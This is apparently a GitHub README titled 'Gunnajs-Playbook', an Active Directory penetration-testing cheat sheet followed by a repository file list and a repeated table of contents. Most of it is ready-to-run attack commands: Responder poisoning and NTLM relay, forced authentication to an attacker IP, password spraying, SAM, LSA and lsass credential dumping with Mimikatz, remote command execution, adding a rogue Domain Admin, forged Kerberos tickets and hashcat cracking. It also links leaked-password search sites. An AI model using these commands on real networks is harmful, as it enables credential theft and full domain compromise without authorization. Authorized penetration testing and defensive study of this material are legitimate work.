Gunnajs-Playbook

https://github.com/NotMedic/NetNTLMtoSilverTicket

https://www.n00py.io/2022/10/practical-attacks-against-ntlmv1/

Gunnajs-Playbook

How to pentest like a Gunnaj

Toolbox

Utils

NMAP

https://nmap.org/

legion

https://github.com/GoVanguard/legion

Installation

https://www.reddit.com/r/Kalilinux/comments/1ann3xo/legion_running_perfectly_then_it_disappears/

linWinPwn - Active Directory Vulnerability Scanner

https://github.com/lefayjey/linWinPwn

Installation

Install the dependency NetExec

apt install pipx git
pipx ensurepath
pipx install git+https://github.com/Pennyw0rth/NetExec

Git clone the repository and make the script executable

git clone https://github.com/lefayjey/linWinPwn
cd linWinPwn; chmod +x linWinPwn.sh

Install requirements using the `install.sh` script (using standard account)

chmod +x install.sh
./install.sh

BloodHound

https://github.com/BloodHoundAD/BloodHound

Installation

apt-get install bloodhound

neo4j console

Navigate to http://localhost:7474/

Responder

https://github.com/lgandx/Responder

NetExec

https://www.netexec.wiki/

Installation

apt install pipx git
pipx ensurepath
pipx install git+https://github.com/Pennyw0rth/NetExec

Integrate Bloodhound

nano ~/.nxc/nxc.conf

[BloodHound]
bh_enabled = True
bh_uri = 127.0.0.1
bh_port = 7687
bh_user = <username>
bh_pass = <password>

go-secdump

https://github.com/jfjallid/go-secdump

Installation

git clone https://github.com/jfjallid/go-secdump

Evil-WinRM

https://github.com/Hackplayers/evil-winrm

Installation

gem install evil-winrm

FindUncommonShares

https://github.com/p0dalirius/FindUncommonShares

Installation

git clone https://github.com/p0dalirius/FindUncommonShares

Installation

Install prerequirements

pip3 install minidump minikerberos aiowinreg msldap winacl

Clone this repo

git clone https://github.com/skelsec/pypykatz.git
cd pypykatz

Install it

python3 setup.py install

certipty

https://github.com/ly4k/Certipy

breach-parse

https://github.com/hmaverickadams/breach-parse

PRET

https://github.com/RUB-NDS/PRET

Installation

git clone https://github.com/RUB-NDS/PRET && cd PRET

python -m pip install colorama pysnmP

Wordlists

Lists

Generate wordlist

https://zzzteph.github.io/weakpass/

Top 10 million

https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt (8.1 MB)

Crackstation

https://crackstation.net/files/crackstation.txt.gz (14.6 GB)

Large p-list

https://download.g0tmi1k.com/wordlists/large/36.4GB-18_in_1.lst.7z (48.4 GB)

Rockyou2021

https://github.com/ohmybahgosh/RockYou2021.txt (91.6 GB)

Leaked password

Sites

breachdirectory (free)

https://breachdirectory.org/

Records Search (free)

https://search.0t.rocks/

DeHashed

https://www.dehashed.com/

Snusbase

https://snusbase.com/

breach-parse

https://github.com/hmaverickadams/breach-parse

Network enumeration

NMAP

Nmap

Ping scan

sudo nmap -sP -p -oN <output.txt> <IP/mask>

Full scan

sudo nmap -PN -sC -sV -p- -oN <output.txt> <IP/mask>

smb vuln scan

sudo nmap -PN --script smb-vuln* -p139,445 -oN <output.txt> <IP/mask>

Find DC IP

Show domain name and DNS

sudo mncli dev show eth0

Show DC IP

nslookup -type=SRV _ldap._tcp.dc._msdcs.<AD_domain>

Show DC controllers in cmd

nltest /dclist:<domainname>

Acitve directory enumeration

linWinPwn

Unauthenticated

Module ad_enum
- RID bruteforce using crackmapexec
- Anonymous enumeration using crackmapexec, enum4linux-ng, ldapdomaindump, ldeep
- Pre2k authentication check on collected list of computers
Module kerberos
- kerbrute user spray
- ASREPRoast using collected list of users (and cracking hashes using john-the-ripper and the rockyou wordlist)
- Blind Kerberoast
- CVE-2022-33679 exploit
Module scan_shares
- SMB shares anonymous enumeration on identified servers
Module vuln_checks
- Enumeration for WebDav, dfscoerce, shadowcoerce and Spooler services on identified servers
- Check for ms17-010, zerologon, petitpotam, nopac, smb-sigining, ntlmv1, runasppl weaknesses

 sudo ./linWinPwn.sh -t <Domain_Controller_IP_or_Target_Domain> -M user <output_dir>

With AD-user credentials

DNS extraction using adidnsdump
Module ad_enum
- BloodHound data collection
- Enumeration using crackmapexec, enum4linux-ng, ldapdomaindump, windapsearch, SilentHound, ldeep
  - Users
  - MachineAccountQuota
  - Password Policy
  - Users' descriptions containing "pass"
  - ADCS
  - Subnets
  - GPP Passwords
  - Check if ldap-signing is enforced, check for LDAP Relay
  - Delegation information
- crackmapexec find accounts with user=pass
- Pre2k authentication check on domain computers
- Extract ADCS information using certipy and certi.py
Module kerberos
- kerbrute find accounts with user=pas
- ASREPRoasting (and cracking hashes using john-the-ripper and the rockyou wordlist)
- Kerberoasting (and cracking hashes using john-the-ripper and the rockyou wordlist)
- Targeted Kerberoasting (and cracking hashes using john-the-ripper and the rockyou wordlist)
Module scan_shares
- SMB shares enumeration on all domain servers using smbmap and cme's spider_plus
- KeePass files and processes discovery on all domain servers
Module vuln_checks
- Enumeration for WebDav, dfscoerce, shadowcoerce and Spooler services on all domain servers
- Check for ms17-010, ms14-068, zerologon, petitpotam, nopac, smb-signing, ntlmv1, runasppl weaknesses
Module mssql_enum
- Check mssql privilege escalation paths

sudo ./linWinPwn.sh -t <Domain_Controller_IP_or_Target_Domain> -u <AD_user> -p <AD_password> -o <output_dir>

MITM

Responder

Kickstart responder

responder -I eth0

Force lm downgrade

responder -I eth0 --lm

DHCP poisining

responder -I eth0 -d

NetExec lnkfile with slinky

Creates a lnk file for a share with read/write rights

NetExec -smb <Target_IP> -u <AD_user> -p <AD_password> -M slinky -o NAME=<filename> SERVER=<attacker_IP>

Remove the lnk file

NetExec -smb <Target_IP> -u <AD_user> -p <AD_password> -M slinky -o NAME=<filename> SERVER=<attacker_IP> CLEANUP=True

Crackmapexec NTLM-relay

Evaluate no smb-signing and create an IP txt file for TLMRelayx

crackmapexec smb <IPs> --gen-relay-list <nosmbsigning.txt>

NTLMRelayx

sudo python3 ntlmrelayx.py -of <outfile.txt> -tf <nosmbsigning.txt> -smb2support

go-secdump NTLM Relaying

./go-secdump --host <target> -n --relay

Disbale SMB and HTTP in Responder.conf

[Responder Core]

; Servers to start
SQL = On
SMB = Off
RDP = On
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = Off
HTTPS = On
DNS = On
LDAP = On
DCERPC = On
WINRM = On
SNMP = Off

Kicksart responder then

sudo responder -I eth0 -dwv

PetitPotam

Force NTLM authentication

python3 PetitPotam.py -d <Domain_Name> -u <AD_user> -p <AD_password> <attacker_IP> <target_IP>

DFSCoerce

Force NTLM authentication

python3 dfscoerce.py -d <Domain_Name> -u <AD_user> -p <AD_password> <attacker_IP> <target_IP>

Password Spraying

NetExec Password spray

Spray a password on a user list

netexec smb <Domain_Controller_IP> -u users.txt -p <password> --continue-on-success

Authentication

NetExec domain authentication

sudo NetExec smb <Domain_Controller_IP> -u <AD_user> -p <AD_password> -H <hash[LM:NT]>

NetExec local authentication

NetExec smb <target_IP> -u <username> -H <hash[LM:NT]> --local-auth

NetExec rdp authentication

NetExec rdp <target_IP> -u <username> -H <hash[LM:NT]> --local-auth

Share enumeration

List readable or writable shares

NetExec smb <target_IP> -u <username> -p <password>  --shares --filter-shares READ WRITE

List uncommon shares

./FindUncommonShares.py -u <username> -p <password> -d <AD_domain> --dc-ip <Domain_Controller_IP> --check-user-access

Mount and unmount shares

Mount share

sudo mount.cifs <//ip/folder> <./folder> -o user=<username>,password=<password>,dom=<AD_domain>

Unmount share

sudo umount <./folder>

Search for keywords in files

grep -i <keyword> *

Credential dumping

Domain authentication

Dump NT:hash with masky with domain user

Get ADCS server name

NetExec ldap <target_IP> -u <username> -p <password> -H <hash[LM:NT]]> -M adcs

Retrieve the NT hash using PKINIT

NetExec ldap <target_IP> -u <username> -p <password> -H <hash[LM:NT]> -M masky -o CA=<'ADCS_server_name'>

NetExec Dump SAM with domain user

NetExec smb <target_IP> -u <username> -p <password> -H <hash[LM:NT]]> --sam

go-secdump Dump SAM with domain user

./go-secdump --domain <Domain_Controller_IP --host <target_IP> --user <username> ---pass <password> --hash <hash[LM:NT]]> --sam

NetExec Dump LSA with domain user

NetExec smb <target_IP> -u <username> -p <password> -H <hash_NT]> --lsa

go-secdump Dump LSA with domain user

./go-secdump --domain <Domain_Controller_IP --host <target_IP> --user <username> ---pass <password> --hash <hash[LM:NT]]> --lsa

Local authentication

NetExec Dump SAM on local computer

NetExec smb <target_IP> -u <username> -p <password> -H <hash[LM:NT]> --local-auth --sam

sec-dump Dump SAM on local computer

./go-secdump --domain <Domain_Controller_IP --host <target_IP> --user <username> ---pass <password> --hash <hash[LM:NT]]> --sam --local

NetExec Dump LSA on local computer

NetExec smb <target_IP> -u <username> -p <password> -H <hash[LM:NT]> --local-auth --lsa

go-secdump Dump LSA on local computer

./go-secdump --domain <Domain_Controller_IP --host <target_IP> --user <username> ---pass <password> --hash <hash[LM:NT]]> --lsa --local

NetExec Dump lsass with hash_spider to recursively using BloodHound to find local admins path (adminTo)

NetExec smb <target_IP> -u <username> -p <password> -H <hash[LM:NT]> --local-auth -M hash_spider

Stored User Names and Passwords on Windows Credential Manager

rundll32.exe keymgr.dll KRShowKeyMgr

NetExec dump with ReadLAPSPassword rights

Check if the user can read LAPS

NetExec ldap <AD_domain> -u <username> -p <password> -H <hash[LM:NT]> -M laps

Dump SAM

NetExec smb <target_IP> -u <username> -p <password> -H <hash[LM:NT]> -M laps --sam

Dump LSA

NetExec smb <target_IP> -u <username> -p <password> -H <hash[LM:NT]> --M laps --lsa

Run Mimikatz from impackets smb share

Starting a SMB Server

impacket-smbserver.py <shareName> <sharePath>

Run Mimikatz from host and write output to the share

\\<target_IP>\<shareName>\mimikatz.exe "privilege::debug: sekurlsa::logonpasswords exit" > \\<target_IP>\<shareName>\output.txt

linWinPwn

With administrator Account (using password, NTLM hash or Kerberos ticket)

All of the "Standard User" checks
Module pwd_dump
- LAPS and gMSA dump
- secretsdump on all domain servers
- NTDS dump using impacket, crackmapexec and certsync
- Dump lsass on all domain servers using: procdump, lsassy, nanodump, handlekatz, masky
- Extract backup keys using DonPAPI, HEKATOMB

sudo ./linWinPwn.sh -t <Domain_Controller_IP> -d <AD_domain> -u <AD_user> -p <AD_password> -H <hash[LM:NT]> -K <kerbticket[./krb5cc_ticket]> -o <output_dir>

Examine lsass dump with pypykatz

pypykatz lsa minidump lsass.DMP

Remote Code Execution

NetExec

Executes command via the follwoing protocols:

wmiexec executes commands via WMI
atexec executes commands by scheduling a task with windows task scheduler
smbexec executes commands by creating and running a service

command

NetExec <protocol> <target_IP> -u <username> -p <password> -H <hash[LM:NT]]> -x <command>

PowerShell

NetExec <protocol> <target_IP> -u <username> -p <password> -H <hash[LM:NT]> -X <command>

Task Scheduler

NetExec <protocol> <target_IP> -u <username> -p <password> -H <hash[LM:NT]> -M schtask_as -o USER=<logged-on-user> CMD=<cmd-command>

Evil-WinRM

evil-winrm -i <target_IP> -u <username> -p <password> -H <hash[LM:NT]>

Command to add a new Domain Admin

Create the new user

net user <username> <password> /add /domain

Add the new user to the Domain Admins group

net group "Domain Admins" <username> /add /domain

Add an user to the domain admin

powershell.exe \"Invoke-Command -ComputerName DC01 -ScriptBlock {Add-ADGroupMember -Identity 'Domain Admins' -Members USER.NAME}\"

AV Evasion

NetExec

golden and silver tickets

Tickets

Get user SID value by using the Windows Terminal

wmic useraccount where name="USER" get sid

Silver ticket

python3 ticketer.py -nthash <nthash> -domain-sid <domain-sid> -domain <AD_domain> -dc-ip <Domain_Controller_IP> -spn <service>/<AD_domain>l <user>

Golden ticket

python3 ticketer.py -nthash <nthash> -domain-sid <domain-sid> -domain <AD_domain> -dc-ip <Domain_Controller_IP> <user>

Set the ticket for impacket use

export KRB5CCNAME=<TGS_ccache_file>

List tickets

klist

Execute remote commands with any of the following by using the TGT

python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass

Printers

PRET

Nmap printers

nmap -p 9100 <IP/mask>

cheat sheet

http://hacking-printers.net/wiki/index.php/Printer_Security_Testing_Cheat_Sheet

Kickstart PRET

pret.py target {ps,pjl,pcl}

Hash cracking

Attack modes

Dictionary attack (-a 0)

Tries all words in a list

hashcat64.exe -m <hash_type> -a 0 <hashes.txt> <passlist.txt> -o cracked.txt

Combinator attack (-a 1)

Combines words from multiple wordlists

hashcat64.exe -m <hash_type> -a 1 <hashes.txt> <passlist1.txt> <passlist2.txt> -o cracked.txt

Brute force (-a 3)

Tries all characters from given charsets

hashcat64.exe -m <hash_type> -a 3 <hashes.txt> ?a?a?a?a?a?a?a?a --increment -o cracked.txt

Hybrid (-a 6)

Combines wordlists+masks

hashcat64.exe -m <hash_type> -a 6 <hashes.txt> <passlist.txt> ?a?a?a?a?a?a?a?a --increment -o cracked.txt

Hybrid (-a 7)

Combines masks+wordlists

hashcat64.exe -m <hash_type> -a 7 <hashes.txt> ?a?a?a?a?a?a?a?a --increment <passlist.txt>  -o cracked.txt

Built-in charsets

?l = abcdefghijklmnopqrstuvwxyz
?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
?d = 0123456789
?h = 0123456789abcdef
?H = 0123456789ABCDEF
?s = «space»!"#$%&'()*+,-./:;<=>?@[]^_`{|}~
?a = ?l?u?d?s
?b = 0x00 - 0xff

Password length increment

--increment-min
--increment-max

Hash types

LM

hashcat64.exe -m 3000 -a 3 <LM-hashes.txt> -o cracked.txt

NTLM

hashcat64.exe -m 1000 -a 3 <NTLM-hashes.txt> -o cracked.txt

NTLMv1

hashcat64.exe -m 5500 -a 3 <NTLMv1-hashes.txt> -o cracked.txt

NTLMv2

hashcat64.exe -m 5600 -a 0 <NTLMv2-hashes.txt> <passlist.txt> -o cracked.txt

Kerberos ASREP

hashcat64.exe -m 18200 -a 0 <asrep-hashes.txt> <passlist.txt> -o cracked.txt

Kerberos 5 TGS

hashcat64.exe -m 13100 -a 0 <krb5tgs-hashes.txt> <passlist.txt> -o cracked.txt

Kerberos 5 TGS AES128

hashcat64.exe -m 19600 -a 0 <krb5tgsaes128-hashes.txt> <passlist.txt> -o cracked.txt

Kerberos 5 TGS AES256

hashcat64.exe -m 19700  -a 0 <krb5tgsaes256.txt> <passlist.txt> -o cracked.txt

Kerberos 5 etype 17, Pre-Auth

hashcat64.exe -m 19800  -a 0 <krb5tetype17.txt> <passlist.txt> -o cracked.txt

Kerberos 5 etype 18, Pre-Auth

hashcat64.exe -m 19900  -a 0 <krb5tetype18.txt> <passlist.txt> -o cracked.txt

MsCache 2 (slow af)

hashcat64.exe -m 2100 -a 0 <mscache2-hashes.txt> <passlist.txt> -o cracked.txt

Name		Name	Last commit message	Last commit date
Latest commit History 309 Commits
Insight_vm_install.sh		Insight_vm_install.sh
Mandatory_Wallpaper.jpeg		Mandatory_Wallpaper.jpeg
README.md		README.md
anfader-adc.jpg		anfader-adc.jpg
gunnajswelist.7z		gunnajswelist.7z
hydra_RDP_user_enumeration.sh		hydra_RDP_user_enumeration.sh

GunzyPunzy/Gunnajs-Playbook-ADC

Folders and files

Latest commit

History

Repository files navigation

Gunnajs-Playbook

Toolbox

NMAP

legion

linWinPwn - Active Directory Vulnerability Scanner

Install the dependency NetExec

Git clone the repository and make the script executable

Install requirements using the install.sh script (using standard account)

BloodHound

Navigate to http://localhost:7474/

Responder

NetExec

Installation

Integrate Bloodhound

go-secdump

Evil-WinRM

FindUncommonShares

PetitPotam

DFSCoerce

Impacket

pypykatz

Install prerequirements

Clone this repo

Install it

certipty

breach-parse

PRET

Wordlists

Generate wordlist

Top 10 million

Crackstation

Large p-list

Rockyou2021

Leaked password

breachdirectory (free)

Records Search (free)

DeHashed

Snusbase

breach-parse

Network enumeration

Nmap

Ping scan

Full scan

smb vuln scan

Find DC IP

Show domain name and DNS

Show DC IP

Show DC controllers in cmd

Acitve directory enumeration

Unauthenticated

With AD-user credentials

MITM

Kickstart responder

Force lm downgrade

DHCP poisining

Creates a lnk file for a share with read/write rights

Remove the lnk file

Evaluate no smb-signing and create an IP txt file for TLMRelayx

NTLMRelayx

go-secdump NTLM Relaying

Disbale SMB and HTTP in Responder.conf

Kicksart responder then

Force NTLM authentication

Force NTLM authentication

Password Spraying

Spray a password on a user list

Authentication

Share enumeration

Mount share

Unmount share

Search for keywords in files

Credential dumping

Dump NT:hash with masky with domain user

Get ADCS server name

Retrieve the NT hash using PKINIT

Install requirements using the `install.sh` script (using standard account)